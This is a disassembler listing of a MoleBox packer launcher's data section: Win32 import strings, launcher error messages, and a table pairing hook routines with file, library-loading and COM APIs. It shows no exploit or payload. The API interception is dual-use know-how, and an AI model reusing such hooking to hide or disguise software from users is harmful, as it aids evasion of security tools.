aCreatedibsec_0	db 'CreateDIBSection',0 ; DATA XREF: sub_4CE2E0+6B5o
		align 10h
aCreatecompat_0	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4CE2E0+6A1o
		align 4
aAddfontresourc	db 'AddFontResourceA',0 ; DATA XREF: sub_4CE2E0:loc_4CE96Do
		align 4
aGdi32_dll_0	db 'gdi32.dll',0        ; DATA XREF: sub_4CE2E0+668o
		align 4
aWvsprintfa	db 'wvsprintfA',0       ; DATA XREF: sub_4CE2E0+654o
		align 10h
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: sub_4CE2E0+640o
		align 4
aMessageboxa_0	db 'MessageBoxA',0      ; DATA XREF: sub_4CE2E0+62Co
aLoadimagea	db 'LoadImageA',0       ; DATA XREF: sub_4CE2E0+618o
		align 4
aCharupperbuffa	db 'CharUpperBuffA',0   ; DATA XREF: sub_4CE2E0+604o
		align 4
aChangedisplays	db 'ChangeDisplaySettingsA',0 ; DATA XREF: sub_4CE2E0:loc_4CE8D0o
		align 4
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: sub_4CE2E0+5CBo
		align 4
aLstrcmpia	db 'lstrcmpiA',0        ; DATA XREF: sub_4CE2E0+5B7o
		align 4
aWritefile	db 'WriteFile',0        ; DATA XREF: sub_4CE2E0+5A3o
					; sub_4D9F43+153o
		align 10h
aWidechartomult	db 'WideCharToMultiByte',0 ; DATA XREF: sub_4CE2E0+58Fo
aWaitforsingleo	db 'WaitForSingleObject',0 ; DATA XREF: sub_4CE2E0+57Bo
					; sub_4D7494+1D4o
aVirtualquery	db 'VirtualQuery',0     ; DATA XREF: sub_4CE2E0+567o
		align 4
aVirtualprotect	db 'VirtualProtect',0   ; DATA XREF: sub_4CE2E0+553o
		align 4
aVirtualfree	db 'VirtualFree',0      ; DATA XREF: sub_4CE2E0+53Fo
aUnmapviewoffil	db 'UnmapViewOfFile',0  ; DATA XREF: sub_4CE2E0+517o
aUnlockfile	db 'UnlockFile',0       ; DATA XREF: sub_4CE2E0+503o
		align 10h
aTerminateproce	db 'TerminateProcess',0 ; DATA XREF: sub_4CE2E0+4EFo
		align 4
aSleep		db 'Sleep',0            ; DATA XREF: sub_4CE2E0+4DBo
					; sub_4D7494+25Eo
		align 4
aSetunhandledex	db 'SetUnhandledExceptionFilter',0 ; DATA XREF: sub_4CE2E0+4C7o
aSetlasterror	db 'SetLastError',0     ; DATA XREF: sub_4CE2E0+4B3o
		align 4
aSetfilepointer	db 'SetFilePointer',0   ; DATA XREF: sub_4CE2E0+49Fo
		align 4
aSetevent	db 'SetEvent',0         ; DATA XREF: sub_4CE2E0+48Bo
		align 4
aSetenvironment	db 'SetEnvironmentVariableA',0 ; DATA XREF: sub_4CE2E0+477o
aReadfile	db 'ReadFile',0         ; DATA XREF: sub_4CE2E0+463o
		align 4
aRaiseexception	db 'RaiseException',0   ; DATA XREF: sub_4CE2E0+44Fo
		align 4
aOpenprocess	db 'OpenProcess',0      ; DATA XREF: sub_4CE2E0+43Bo
					; sub_4D7494+230o
aMultibytetowid	db 'MultiByteToWideChar',0 ; DATA XREF: sub_4CE2E0+427o
aMapviewoffile	db 'MapViewOfFile',0    ; DATA XREF: sub_4CE2E0+413o
		align 4
aLockfile	db 'LockFile',0         ; DATA XREF: sub_4CE2E0+3FFo
		align 4
aLocalfree	db 'LocalFree',0        ; DATA XREF: sub_4CE2E0+3EBo
		align 10h
aLocalalloc	db 'LocalAlloc',0       ; DATA XREF: sub_4CE2E0+3D7o
		align 4
aLoadlibraryexa	db 'LoadLibraryExA',0   ; DATA XREF: sub_4CE2E0+3C3o
		align 4
aLoadlibrarya	db 'LoadLibraryA',0     ; DATA XREF: sub_4CE2E0+3AFo
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0 ; DATA XREF: sub_4CE2E0+39Bo
		align 4
aDeletecritical	db 'DeleteCriticalSection',0 ; DATA XREF: sub_4CE2E0+387o
		align 4
aInitializecrit	db 'InitializeCriticalSection',0 ; DATA XREF: sub_4CE2E0+373o
		align 4
aHeapcreate	db 'HeapCreate',0       ; DATA XREF: sub_4CE2E0+35Fo
		align 4
aHeapfree	db 'HeapFree',0         ; DATA XREF: sub_4CE2E0+34Bo
		align 10h
aHeapalloc	db 'HeapAlloc',0        ; DATA XREF: sub_4CE2E0+337o
		align 4
aGettickcount	db 'GetTickCount',0     ; DATA XREF: sub_4CE2E0+323o
		align 4
aGetversionexa	db 'GetVersionExA',0    ; DATA XREF: sub_4CE2E0+30Fo
		align 4
aGettemppatha	db 'GetTempPathA',0     ; DATA XREF: sub_4CE2E0+2FBo
					; sub_4D7494+92o
		align 4
aGettempfilenam	db 'GetTempFileNameA',0 ; DATA XREF: sub_4CE2E0+2E7o
		align 10h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0 ; DATA XREF: sub_4CE2E0+2D3o
aGetprocaddress	db 'GetProcAddress',0   ; DATA XREF: sub_4CE2E0+2BFo
		align 4
aGetprivatepr_1	db 'GetPrivateProfileStringA',0 ; DATA XREF: sub_4CE2E0+2ABo
		align 4
aGetprivatepr_0	db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: sub_4CE2E0+297o
		align 4
aGetprivateprof	db 'GetPrivateProfileIntA',0 ; DATA XREF: sub_4CE2E0+283o
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0 ; DATA XREF: sub_4CE2E0+26Fo
		align 10h
aGetmodulefilen	db 'GetModuleFileNameA',0 ; DATA XREF: sub_4CE2E0+25Bo
		align 4
aGetlasterror	db 'GetLastError',0     ; DATA XREF: sub_4CE2E0+247o
		align 4
aGetfullpathn_0	db 'GetFullPathNameW',0 ; DATA XREF: sub_4CE2E0+233o
		align 4
aGetfullpathnam	db 'GetFullPathNameA',0 ; DATA XREF: sub_4CE2E0+21Fo
		align 4
aGetfiletime	db 'GetFileTime',0      ; DATA XREF: sub_4CE2E0+20Bo
aGetfilesize	db 'GetFileSize',0      ; DATA XREF: sub_4CE2E0+1F7o
aGetfileinforma	db 'GetFileInformationByHandle',0 ; DATA XREF: sub_4CE2E0+1E3o
		align 10h
aGetfileattri_0	db 'GetFileAttributesW',0 ; DATA XREF: sub_4CE2E0+1CFo
		align 4
aGetfileattribu	db 'GetFileAttributesA',0 ; DATA XREF: sub_4CE2E0+1BBo
		align 4
aGetexitcodepro	db 'GetExitCodeProcess',0 ; DATA XREF: sub_4CE2E0+1A7o
					; sub_4D7494+1A6o
		align 4
aGetenvironment	db 'GetEnvironmentVariableA',0 ; DATA XREF: sub_4CE2E0+193o
aGetcurrentpr_0	db 'GetCurrentProcessId',0 ; DATA XREF: sub_4CE2E0+17Fo
					; sub_4D58A0+11o
aFreelibrary	db 'FreeLibrary',0      ; DATA XREF: sub_4CE2E0+157o
aFormatmessagea	db 'FormatMessageA',0   ; DATA XREF: sub_4CE2E0+143o
		align 4
aFlushfilebuffe	db 'FlushFileBuffers',0 ; DATA XREF: sub_4CE2E0+12Fo
		align 4
aFindnextfilea	db 'FindNextFileA',0    ; DATA XREF: sub_4CE2E0+11Bo
		align 4
aFindfirstfilea	db 'FindFirstFileA',0   ; DATA XREF: sub_4CE2E0+107o
					; sub_4D7494+11Co
		align 4
aFindclose	db 'FindClose',0        ; DATA XREF: sub_4CE2E0+F3o
					; sub_4D7494+178o
		align 4
aExitprocess	db 'ExitProcess',0      ; DATA XREF: sub_4CE2E0+DFo
					; sub_4D7494+202o
aEntercriticals	db 'EnterCriticalSection',0 ; DATA XREF: sub_4CE2E0+CBo
		align 4
aDeletefilea	db 'DeleteFileA',0      ; DATA XREF: sub_4CE2E0+B7o
					; sub_4D7494+14Ao
aDebugbreak	db 'DebugBreak',0       ; DATA XREF: sub_4CE2E0+A3o
		align 10h
aCreateprocessa	db 'CreateProcessA',0   ; DATA XREF: sub_4CE2E0+8Fo
		align 10h
aCreatefilema_0	db 'CreateFileMappingW',0 ; DATA XREF: sub_4CE2E0+7Bo
		align 4
aCreatefilemapp	db 'CreateFileMappingA',0 ; DATA XREF: sub_4CE2E0+67o
		align 4
aCreatefilew	db 'CreateFileW',0      ; DATA XREF: sub_4CE2E0+53o
aCreatefilea	db 'CreateFileA',0      ; DATA XREF: sub_4CE2E0+3Fo
aClosehandle	db 'CloseHandle',0      ; DATA XREF: sub_4CE2E0:loc_4CE30Bo
					; sub_4D7494+28Co
aApiNopefunc	db ':API:NopeFunc',0    ; DATA XREF: sub_4DDAB0+3o
		align 4
aMbx		db 'mbx',0              ; DATA XREF: sub_4CF94C+19Eo
aBoxReadcompres	db ':BOX:ReadCompressedSection: decompresion failed with code %d',0
					; DATA XREF: sub_4D0C5C+340o
		align 10h
a?		db '\\?\',0             ; DATA XREF: sub_4D153F+56o
		align 4
dword_4E0B68	dd 98h			; DATA XREF: sub_4D2DD0+5Aw
		align 10h
dword_4E0B70	dd 2 dup(0)		; DATA XREF: sub_4D0C5C+B6o
					; sub_4D0C5C+DBo ...
dword_4E0B78	dd 0			; DATA XREF: sub_4D0C5C+73r
					; sub_4D0C5C+F9w ...
dword_4E0B7C	dd 0			; DATA XREF: sub_4D0C5C+63r
					; sub_4D0C5C+106w ...
off_4E0B80	dd offset dword_4E18FC	; DATA XREF: sub_4D0C5C+84r
					; sub_4D0C5C+125r
		dd 5 dup(0)
		dd offset dword_4E1900
		dd 5 dup(0)
		dd offset dword_4E1904
		align 8
aKernel32_0	db 'kernel32',0         ; DATA XREF: sub_4D2DD0+E2o
					; sub_4DA8AA:loc_4DA995o ...
		align 4
aGetlongpathnam	db 'GetLongPathNameA',0 ; DATA XREF: sub_4D2DD0+DDo
					; sub_4DAAEB+27o
		align 4
dword_4E0BD8	dd 584F424Dh		; DATA XREF: sub_4D3610:loc_4D39B0r
					; sub_4D3610+3C4o
		align 10h
dword_4E0BE0	dd 2Ah			; DATA XREF: sub_4CC06B+5Ao
dword_4E0BE4	dd 2A2E2Ah		; DATA XREF: sub_4CC06B+26o
off_4E0BE8	dd offset aAvicap32_dll	; DATA XREF: sub_4D4AB0:loc_4D4BDDr
					; sub_4D4AB0+139w ...
					; "avicap32.dll"
aTheUncompressi	db 'The uncompression error',0
aExecutable	db 'EXECUTABLE',0       ; DATA XREF: sub_4D4AB0+14Bo
					; sub_4D4DC0+220o
		align 10h
aTheDynamicLink	db 'The dynamic link library ',27h,'%s',27h,' could not be found',0
					; DATA XREF: sub_4D4AB0+123o
		align 4
aOleaout32_dll	db 'oleaout32.dll',0    ; DATA XREF: sub_4D4DC0+295o
		align 4
aOleoaut32_dll	db 'oleoaut32.dll',0    ; DATA XREF: sub_4D4DC0:loc_4D5041o
		align 4
aImm32_dll	db 'imm32.dll',0        ; DATA XREF: sub_4D4DC0:loc_4D501Fo
					; sub_4D4DC0+273o
		align 10h


loc_4E0C70:				; DATA XREF: sub_4D61E1+B67o
		pop	eax
		push	0FF00FF00h
		push	0FF00FF00h
		push	0FF00FF00h
		push	eax
		push	0FF00FF00h
		retn
; ---------------------------------------------------------------------------
		align 4
dword_4E0C88	dd 6C6C642Eh, 0		; DATA XREF: sub_4D581E+19o
					; sub_4D581E+32o
aDProjectsMy_sr	db 'D:\Projects\My.SRC\MoleStudio\MoleBox\molebox2\bootup\mbx_DLL.cpp'
					; DATA XREF: sub_4D61E1+D34o
		db 0
		align 4
a_box_		db '_BOX_',0            ; DATA XREF: sub_4D61E1+ADBo
		align 4
aGetcurrentdire	db 'GetCurrentDirectoryA',0 ; DATA XREF: sub_4D7494+EEo
		align 4
aSetcurrentdire	db 'SetCurrentDirectoryA',0 ; DATA XREF: sub_4D7494+C0o
		align 4
aMbx@X@_	db 'MBX@%X@*.###',0     ; DATA XREF: sub_4D7494+53o
					; sub_4D8892+E8o
		align 4
aStripped	db '<stripped>',0       ; DATA XREF: _5:off_4DE4FCo
		align 4
aAssertionFai_0	db 'ASSERTION failed',0 ; DATA XREF: _5:off_4DE4F8o
		align 4
aMoleboxLaunche	db 'MoleBox launcher fatal error',0 ; DATA XREF: _5:off_4DE4F4o
		align 4
asc_4E0D5C:				; DATA XREF: sub_4D848C+57o
					; sub_4D84F7+2Do
		dw 0Ah
		unicode	0, <>,0
aErrorAtSDReaso	db 'Error at %s:%d',0Ah ; DATA XREF: sub_4D848C+1Eo
		db 0Ah
		db 'Reason: ',0
		align 4
aUp1_txt	db '-up1.txt',0         ; DATA XREF: sub_4D8538:loc_4D8648o
		align 4
aUp_txt		db '-up.txt',0          ; DATA XREF: sub_4D8538+BCo
asc_4E0D90	db 0Dh,0Ah,0		; DATA XREF: sub_4D8726+59o
		align 4
aWindowsErrorSA	db 'windows error %s',0Ah ; DATA XREF: sub_4D87CA+75o
		db '  at %s(%d)',0Ah,0
		align 4
aMbx@X@X_	db 'MBX@%X@%X.###',0    ; DATA XREF: sub_4D8892+C2o
		align 4
aMbx@X@X@X_	db 'MBX@%X@%X@%X.###',0 ; DATA XREF: sub_4D8892+93o
		align 4
a_		db '.###',0             ; DATA XREF: sub_4D8A16+175o
		align 10h
aMbx@		db 'MBX@',0             ; DATA XREF: sub_4D8A16+78o
		align 4
aInvalidDllRelo	db 'INVALID DLL RELOCATION',0 ; DATA XREF: sub_4D8C27:loc_4D8E60o
		align 10h
aBadFuulname	db 'BAD FUULNAME',0     ; DATA XREF: sub_4D8C27:loc_4D8E57o
		align 10h
aGetmodulenameE	db 'GetModuleName ERROR',0 ; DATA XREF: sub_4D8C27:loc_4D8E4Eo
aHookingDllErro	db 'HOOKING DLL ERROR',0 ; DATA XREF: sub_4D8C27:loc_4D8E45o
		align 4
aPackedDllOrBox	db 'PACKED DLL OR BOXFILE CORRUPTED',0 ; DATA XREF: sub_4D8C27:loc_4D8E3Co
aInvalidCompres	db 'INVALID COMPRESSION/ENCRYPTION ALGORITHM',0
					; DATA XREF: sub_4D8C27:loc_4D8E33o
		align 4
aDllCorrupted	db 'DLL CORRUPTED',0    ; DATA XREF: sub_4D8C27:loc_4D8E2Ao
		align 4
aHeapCorrupted	db 'HEAP CORRUPTED',0   ; DATA XREF: sub_4D8C27:loc_4D8E21o
		align 4
aCouldNotCreate	db 'COULD NOT CREATE HEAP',0 ; DATA XREF: sub_4D8C27:loc_4D8E18o
		align 4
aVirtualprote_0	db 'VIRTUALPROTECT BROKEN',0 ; DATA XREF: sub_4D8C27:loc_4D8E0Fo
		align 4
aWrappersTableB	db 'WRAPPERS TABLE BROKEN',0 ; DATA XREF: sub_4D8C27:loc_4D8E06o
		align 4
aOutOfMemory	db 'OUT OF MEMORY',0    ; DATA XREF: sub_4D8C27:loc_4D8DFDo
		align 4
aFeatureIsNotIm	db 'FEATURE IS NOT IMPLEMENTED',0 ; DATA XREF: sub_4D8C27:loc_4D8DF4o
		align 4
aBoxfileCorrupt	db 'BOXFILE CORRUPTED',0 ; DATA XREF: sub_4D8C27:loc_4D8DEBo
		align 4
aReadBoxfileErr	db 'READ BOXFILE ERROR',0 ; DATA XREF: sub_4D8C27:loc_4D8DE2o
		align 10h
aCouldNotOpenBo	db 'COULD NOT OPEN BOXFILE',0 ; DATA XREF: sub_4D8C27:loc_4D8DD6o
		align 4
aPathIsVeryLong	db 'PATH IS VERY LONG',0 ; DATA XREF: sub_4D8C27:loc_4D8DCAo
		align 4
aExecutableCorr	db 'EXECUTABLE CORRUPTED',0 ; DATA XREF: sub_4D8C27:loc_4D8DBEo
		align 4
aDynamicLibrary	db 'DYNAMIC LIBRARY IS NOT NT IMAGE',0 ; DATA XREF: sub_4D8C27:loc_4D8DB2o
aExecutableIsNo	db 'EXECUTABLE IS NOT NT IMAGE',0 ; DATA XREF: sub_4D8C27:loc_4D8DA6o
		align 10h
aHasNoAccessToE	db 'HAS NO ACCESS TO EXECUTABLE',0 ; DATA XREF: sub_4D8C27:loc_4D8D9Ao
aAssertionFaile	db 'ASSERTION FAILED',0 ; DATA XREF: sub_4D8C27:loc_4D8D8Eo
		align 10h
aEsi0x08xEdi0x0	db 'ESI:0x%08X EDI:0x%08X',0 ; DATA XREF: sub_4D8C27+101o
		align 4
aEsp0x08xEbp0x0	db 'ESP:0x%08X EBP:0x%08X EIP:0x%08X',0 ; DATA XREF: sub_4D8C27+DCo
		align 4
aEax0x08xEdx0x0	db 'EAX:0x%08X EDX:0x%08X ECX:0x%08X',0 ; DATA XREF: sub_4D8C27+ABo
		align 10h
aEs0x08xFs0x08x	db 'ES :0x%08X FS :0x%08X GS :0x%08X',0 ; DATA XREF: sub_4D8C27+7Ao
		align 4
aCs0x08xSs0x08x	db 'CS :0x%08X SS :0x%08X DS :0x%08X',0 ; DATA XREF: sub_4D8C27+49o
		align 4
a__seh__0xXAt0x	db '__SEH__ 0x%x at 0x%x',0 ; DATA XREF: sub_4D8C27+18o
		align 10h
aCc7574e45e3947	db '{CC7574E4-5E39-4700-B286-269A82DD8E95}',0 ; DATA XREF: sub_4CC271+40o
					; sub_4CC271+E2o
		align 4
a_splashscreen_	db '_splashscreen.bmp',0 ; DATA XREF: sub_4CC3F3+12o
		align 4
aBroken0x08x	db '!broken!0x%08x:',0  ; DATA XREF: sub_4D8EF3+FBo
a0x08xS03x08x	db '0x%08x:[%s]:(%03x:%08x)',0 ; DATA XREF: sub_4D8EF3+CAo
aUnknown	db 'unknown',0          ; DATA XREF: sub_4D8EF3+B7o
a0x08xUnknownUn	db '0x%08x:[unknown]:unknown',0 ; DATA XREF: sub_4D8EF3+60o
		align 4
aBroken		db '!broken!',0         ; DATA XREF: sub_4D8EF3+31o
		align 4
a0x08x0x08x0x08	db '0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x',0 ; DATA XREF: sub_4D918E+F9o
aStack		db '--stack--',0        ; DATA XREF: sub_4D918E:loc_4D9242o
		align 4
a___OpssBrokenB	db '   ... opss, broken by SEH',0 ; DATA XREF: sub_4D918E+A5o
					; sub_4D918E+11Eo
		align 10h
aS_6		db '   %s',0            ; DATA XREF: sub_4D918E+47o
					; sub_4D918E+8Ao
		align 4
aBacktrace	db '-- backtrace --',0  ; DATA XREF: sub_4D918E+28o
		dd 2 dup(0FFFFFFFFh)
aDllgetclassobj	db 'DllGetClassObject',0 ; DATA XREF: sub_4D931F+51o
					; sub_4DB076+39o
		align 8
dword_4E11C8	dd 2 dup(0)		; DATA XREF: sub_4D93B3+55o
		dd 0C0h, 46000000h
dword_4E11D8	dd 1, 0			; DATA XREF: sub_4D93B3+11o
		dd 0C0h, 46000000h
aRegqueryvaluea	db 'RegQueryValueA',0   ; DATA XREF: sub_4D9638+42o
		align 4
aAdvapi32_dll_0	db 'ADVAPI32.DLL',0     ; DATA XREF: sub_4D9638+3Do
		align 4
aClsid08x04x04x	db 'CLSID\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\InprocSe'
					; DATA XREF: sub_4D971C+58o
		db 'rver32',0
off_4E1250	dd offset sub_4D9C54	; DATA XREF: sub_4D9DD4+102o
		dd offset aSetunhandled_0 ; "SetUnhandledExceptionFilter"
		dd offset sub_4DB2B0
		dd offset aCreatefilea_0 ; "CreateFileA"
		dd offset sub_4DB2FE
		dd offset aCreatefilew_0 ; "CreateFileW"
		dd offset sub_4DA7AF
		dd offset aGetfileattri_3 ; "GetFileAttributesA"
		dd offset sub_4DA7DD
		dd offset aGetfileattri_4 ; "GetFileAttributesW"
		dd offset sub_4DA8AA
		dd offset aGetfileattri_5 ; "GetFileAttributesExW"
		dd offset sub_4DB3FC
		dd offset aReadfile_0	; "ReadFile"
		dd offset sub_4DB3D5
		dd offset aClosehandle_0 ; "CloseHandle"
		dd offset sub_4DB460
		dd offset aSetfilepoint_0 ; "SetFilePointer"
		dd offset sub_4DA9EC
		dd offset aGetfilesize_0 ; "GetFileSize"
		dd offset sub_4DA0C8
		dd offset aExitprocess_1 ; "ExitProcess"
		dd offset sub_4DB4A4
		dd offset aCreatefilema_2 ; "CreateFileMappingA"
		dd offset sub_4DB4E0
		dd offset aCreatefilema_3 ; "CreateFileMappingW"
		dd offset sub_4DB51C
		dd offset aMapviewoffil_0 ; "MapViewOfFile"
		dd offset sub_4DB55B
		dd offset aUnmapviewoff_1 ; "UnmapViewOfFile"
		dd offset sub_4DB18D
		dd offset aFreelibrary_1 ; "FreeLibrary"
		dd offset sub_4DAE83
		dd offset aLoadlibrarya_0 ; "LoadLibraryA"
		dd offset sub_4DAF65
		dd offset aLoadlibraryw	; "LoadLibraryW"
		dd offset sub_4DAE96
		dd offset aLoadlibrarye_0 ; "LoadLibraryExA"
		dd offset sub_4DAF78
		dd offset aLoadlibraryexw ; "LoadLibraryExW"
		dd offset sub_4DB076
		dd offset aGetprocaddre_1 ; "GetProcAddress"
		dd offset sub_4DA334
		dd offset aFindfirstfil_1 ; "FindFirstFileA"
		dd offset sub_4DA361
		dd offset aFindfirstfilew ; "FindFirstFileW"
		dd offset sub_4DA4AA
		dd offset aFindfirstfilee ; "FindFirstFileExW"
; ---------------------------------------------------------------------------
		jmp	dword ptr [ebp-17BBFFB3h]
; ---------------------------------------------------------------------------
		dw 4Dh
		dd offset sub_4DA626
		dd offset aFindnextfile_1 ; "FindNextFileA"
		dd offset sub_4DA657
		dd offset aFindnextfilew ; "FindNextFileW"
		dd offset sub_4DB582
		dd offset aOpenfile	; "OpenFile"
		dd offset sub_4DB636
		dd offset a_lopen	; "_lopen"
		dd offset sub_4DB677
		dd offset a_lclose	; "_lclose"
		dd offset sub_4DB711
		dd offset a_lread	; "_lread"
		dd offset sub_4DB6CC
		dd offset a_llseek	; "_llseek"
		dd offset sub_4DAF8C
		dd offset aGetmodulehan_1 ; "GetModuleHandleA"
		dd offset sub_4DAFC6
		dd offset aGetmodulehan_2 ; "GetModuleHandleW"
		dd offset sub_4DA226
		dd offset aSearchpathw	; "SearchPathW"
		dd offset sub_4DA1C7
		dd offset aSearchpatha_0 ; "SearchPathA"
		dd offset sub_4DAC66
		dd offset aGetprivatepr_2 ; "GetPrivateProfileStringA"
		dd offset sub_4DAD0C
		dd offset aGetprivatepr_3 ; "GetPrivateProfileIntA"
		dd offset sub_4DAD93
		dd offset aGetprivatepr_4 ; "GetPrivateProfileSectionNamesA"
		dd offset sub_4DADDE
		dd offset aGetprivatepr_5 ; "GetPrivateProfileSectionA"
		dd offset sub_4DA710
		dd offset aGetfileinfor_0 ; "GetFileInformationByHandle"
		dd offset sub_4DA741
		dd offset aLockfile_0	; "LockFile"
		dd offset sub_4DA77D
		dd offset aUnlockfile_0	; "UnlockFile"
		dd offset sub_4DAA24
		dd offset aGetmodulefil_1 ; "GetModuleFileNameA"
		dd offset sub_4DAA5E
		dd offset aGetmodulefil_2 ; "GetModuleFileNameW"
		dd offset sub_4DAAEB
		dd offset aGetlongpathn_1 ; "GetLongPathNameA"
		dd offset sub_4DAB3D
		dd offset aGetlongpathn_2 ; "GetLongPathNameW"
off_4E13C8	dd offset sub_4DB23E	; DATA XREF: sub_4D9DD4+116o
		dd offset aAddfontresou_0 ; "AddFontResourceA"
		dd offset sub_4DB277
		dd offset aRemovefontre_0 ; "RemoveFontResourceA"
off_4E13D8	dd offset sub_4DB1EA	; DATA XREF: sub_4D9DD4+12Ao
		dd offset aLoadimagea_0	; "LoadImageA"
off_4E13E0	dd offset sub_4D9518	; DATA XREF: sub_4D9DD4+13Eo
		dd offset aCocreateinstan ; "CoCreateInstance"
		dd offset sub_4D9789
		dd offset aCocreateinst_0 ; "CoCreateInstanceEx"
		dd offset sub_4D98C0
		dd offset aCogetclassobje ; "CoGetClassObject"
off_4E13F8	dd offset sub_4D9A34	; DATA XREF: sub_4D9DD4+152o
		dd offset aGetrecordinf_0 ; "GetRecordInfoFromGuids"
		dd offset sub_4D9B3C
		dd offset aLoadregtypelib ; "LoadRegTypeLib"
aGetfileattri_1	db 'GetFileAttributesExW',0 ; DATA XREF: sub_4DA8AA+F0o
		align 10h
aGetlongpathn_0	db 'GetLongPathNameW',0 ; DATA XREF: sub_4DAB3D+A8o
		align 4
dword_4E1434	dd 19930520h, 4D0829h, 158h, 12E718h, 3	dup(0) ; DATA XREF: _4:004CC523o
					; sub_4CC52A+2o
off_4E1450	dd offset word_4E145A	; DATA XREF: sub_4CC86E:loc_4CC8BDr
					; sub_4CC86E:loc_4CC8CFr ...
		dd offset word_4E145A
		db 2 dup(0)
word_4E145A	dw 20h			; DATA XREF: _6:off_4E1450o
					; _6:004E1454o
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4E165C	dd 1			; DATA XREF: sub_4CC86E+3Cr
					; sub_4CC9EA:loc_4CC9F2r ...
		dd 2Eh,	1, 2 dup(0)
dword_4E1670	dd 77E64C09h		; DATA XREF: sub_4CD2E0+1DFw
					; sub_4CD2E0+1F6r ...
dword_4E1674	dd 920000h		; DATA XREF: _4:004CDED3w _4:004CDF0Fr
dword_4E1678	dd 940000h		; DATA XREF: _4:004CDF0Aw _4:004CDF1Br
dword_4E167C	dd 930000h		; DATA XREF: _4:004CDEF4w
dword_4E1680	dd 2			; DATA XREF: _4:004CE0BCr
					; sub_4D4DC0+59r ...
dword_4E1684	dd 911F18h		; DATA XREF: _4:004CE206r
					; _4:loc_4CE28Fr ...
dword_4E1688	dd 4CDB3Eh		; DATA XREF: sub_4CDE50+3r
					; _4:004CDE6Fw
dword_4E168C	dd 0FFFFFFFFh		; DATA XREF: sub_4CD2E0+213w
					; sub_4CD2E0+387r ...
		dd 0
byte_4E1694	db 0			; DATA XREF: _4:004CE2A1w
					; sub_4D581E+Er
		align 4
dword_4E1698	dd 7			; DATA XREF: sub_4CD2E0+407w
					; sub_4D4DC0:loc_4D4E0Dr
off_4E169C	dd offset a_text	; DATA XREF: sub_4CD2E0+410w
					; _4:loc_4CEC97r ...
					; ".text"
dword_4E16A0	dd 0			; DATA XREF: sub_4CE2E0+8B3o
dword_4E16A4	dd 77E77963h		; DATA XREF: sub_4CE2E0+3Aw
					; sub_4CE2E0+881o ...
dword_4E16A8	dd 77E7A837h		; DATA XREF: sub_4CE2E0+4Ew
					; _4:004CEC0Cr	...
dword_4E16AC	dd 77E779B1h		; DATA XREF: sub_4CE2E0+62w
					; sub_4DB2FE+9Fr
dword_4E16B0	dd 77E77797h		; DATA XREF: sub_4CE2E0+76w
					; _4:004CEC40r	...
dword_4E16B4	dd 77E776D3h		; DATA XREF: sub_4CE2E0+8Aw
					; sub_4DB4E0+2Cr
dword_4E16B8	dd 77E61BB8h		; DATA XREF: sub_4CE2E0+9Ew
					; sub_4D71C3+E6r
dword_4E16BC	dd 77EB36A5h		; DATA XREF: sub_4CE2E0+B2w
dword_4E16C0	dd 77E73628h		; DATA XREF: sub_4CE2E0+C6w
					; sub_4CF94C+2EAr ...
dword_4E16C4	dd 77F7E21Fh		; DATA XREF: sub_4CE2E0+DAw
					; sub_4CF252+2Ar ...
dword_4E16C8	dd 77E75CB5h		; DATA XREF: sub_4CE2E0+EEw
					; sub_4DA0C8+AFr
dword_4E16CC	dd 77E78EAAh		; DATA XREF: sub_4CE2E0+102w
					; sub_4D2DD0+5E2r ...
dword_4E16D0	dd 77E75D9Eh		; DATA XREF: sub_4CE2E0+116w
					; sub_4CF6DE+B4r ...
dword_4E16D4	dd 77E75E67h		; DATA XREF: sub_4CE2E0+12Aw
					; sub_4CF6DE+DCr ...
dword_4E16D8	dd 77E73FF9h		; DATA XREF: sub_4CE2E0+13Ew
					; sub_4D61E1+CFEr
dword_4E16DC	dd 77E76A60h		; DATA XREF: sub_4CE2E0+152w
					; sub_4D87CA+60r
dword_4E16E0	dd 77E80618h		; DATA XREF: sub_4CE2E0+166w
					; sub_4D58CF+163r ...
dword_4E16E4	dd 77E79C90h		; DATA XREF: sub_4CE2E0+17Aw
					; sub_4D71C3+4Br ...
dword_4E16E8	dd 77E80656h		; DATA XREF: sub_4CC216+15r
					; sub_4CE2E0+18Ew ...
dword_4E16EC	dd 77E7AC5Eh		; DATA XREF: sub_4CE2E0+1A2w
dword_4E16F0	dd 77E7FF65h		; DATA XREF: sub_4CE2E0+1B6w
dword_4E16F4	dd 77E74CABh		; DATA XREF: sub_4CE2E0+1CAw
					; sub_4DA7AF+16r
dword_4E16F8	dd 77E78536h		; DATA XREF: sub_4CE2E0+1DEw
					; sub_4DA7DD+84r
dword_4E16FC	dd 77E72EA0h		; DATA XREF: sub_4CE2E0+1F2w
					; sub_4D0858+83r ...
dword_4E1700	dd 77E793EFh		; DATA XREF: sub_4CE2E0+206w
					; _4:004CEC21r	...
dword_4E1704	dd 77E73CE2h		; DATA XREF: sub_4CE2E0+21Aw
					; sub_4D3610+720r
dword_4E1708	dd 77E80357h		; DATA XREF: sub_4CE2E0+22Ew
					; sub_4CF252+71r ...
dword_4E170C	dd 77E781DBh		; DATA XREF: sub_4CE2E0+242w
					; sub_4DA226+92r
dword_4E1710	dd 77F5157Dh		; DATA XREF: sub_4CE2E0+256w
					; sub_4D58CF+14Er ...
dword_4E1714	dd 77E7A099h		; DATA XREF: sub_4CE2E0+26Aw
					; _4:004CEE99r	...
dword_4E1718	dd 77E79F93h		; DATA XREF: sub_4CC271+4Cr
					; _4:004CDE79r	...
dword_4E171C	dd 77E719F3h		; DATA XREF: sub_4CE2E0+292w
					; sub_4DAD0C+76r
dword_4E1720	dd 77E61FD2h		; DATA XREF: sub_4CE2E0+2A6w
					; sub_4DAD93+3Br
dword_4E1724	dd 77E72C64h		; DATA XREF: sub_4CE2E0+2BAw
					; sub_4DAC66+95r
dword_4E1728	dd 77E7A5FDh		; DATA XREF: _4:004CDEA2r
					; sub_4CE2E0+2CEw ...
